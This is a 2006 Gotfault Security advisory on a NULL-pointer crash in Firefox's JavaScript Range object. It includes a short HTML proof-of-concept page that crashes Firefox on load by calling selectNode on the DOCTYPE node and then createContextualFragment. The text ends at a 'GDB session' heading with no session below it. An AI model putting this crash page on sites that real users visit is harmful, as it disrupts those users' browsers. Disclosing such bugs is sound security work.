Gotfault Security - Advisory #05 - 27/10/06
-------------------------------------------------
Software : Firefox
Homepage : http://www.mozilla.com/
Vulnerable : 1.5.0.7 and below, 2.0
Risk : Moderate
Impact : Denial of Services (Code execution not verified)
-------------------------------------------------
DESCRIPTION
-------------------------------------------------
Mozilla Firefox is prone to a D.O.S within its javascript Range object. In a
special condition, a NULL Pointer Deference occur and Firefox crashes.
From DOM MDC:
"The Range object represents a fragment of a document that can contain nodes
and parts of text nodes in a given document."
A Range object can be initialized using the selectNode method, that selects a
node to be inserted within a Range. A Range can also be used to create document
fragments using the createContextualFragment method. Below is an example of
using such a method, from DOM MDC:
var tagString = "<div>I am a div node</div>";
var range = document.createRange();
range.selectNode(document.getElementsByTagName("div").item(0));
var documentFragment = range.createContextualFragment(tagString);
document.body.appendChild(documentFragment);
As can be seen, a range is created using the createRange document method and
then is initialized using the selectNode method against some element within
the current document. At this point createContextualFragment can be used to
create document fragments, that can be inserted into the document.
Mozilla Firefox does not proper handle when a DOCUMENT_TYPE_NODE (<!DOCTYPE...)
element is passed to selectNode method and trigger a NULL Pointer deference
when calling createContextualFragment method.
-------------------------------------------------
POC
-------------------------------------------------
This POC code crashes Mozilla Firefox:
--- snip ---
-->
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;
range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>
<!--
--- snip ---
-------------------------------------------------
POC details
-------------------------------------------------
In [1], we use the selectNode method agains document.firstNode, that in
this case is <!DOCTYPE ...> node. Then we use createContextualFragment
and Firefox crashes.
-------------------------------------------------
GDB session
-------------------------------------------------
Following is the GDB session registered in the crash moment, tested
agains Firefox 2.0 official release:
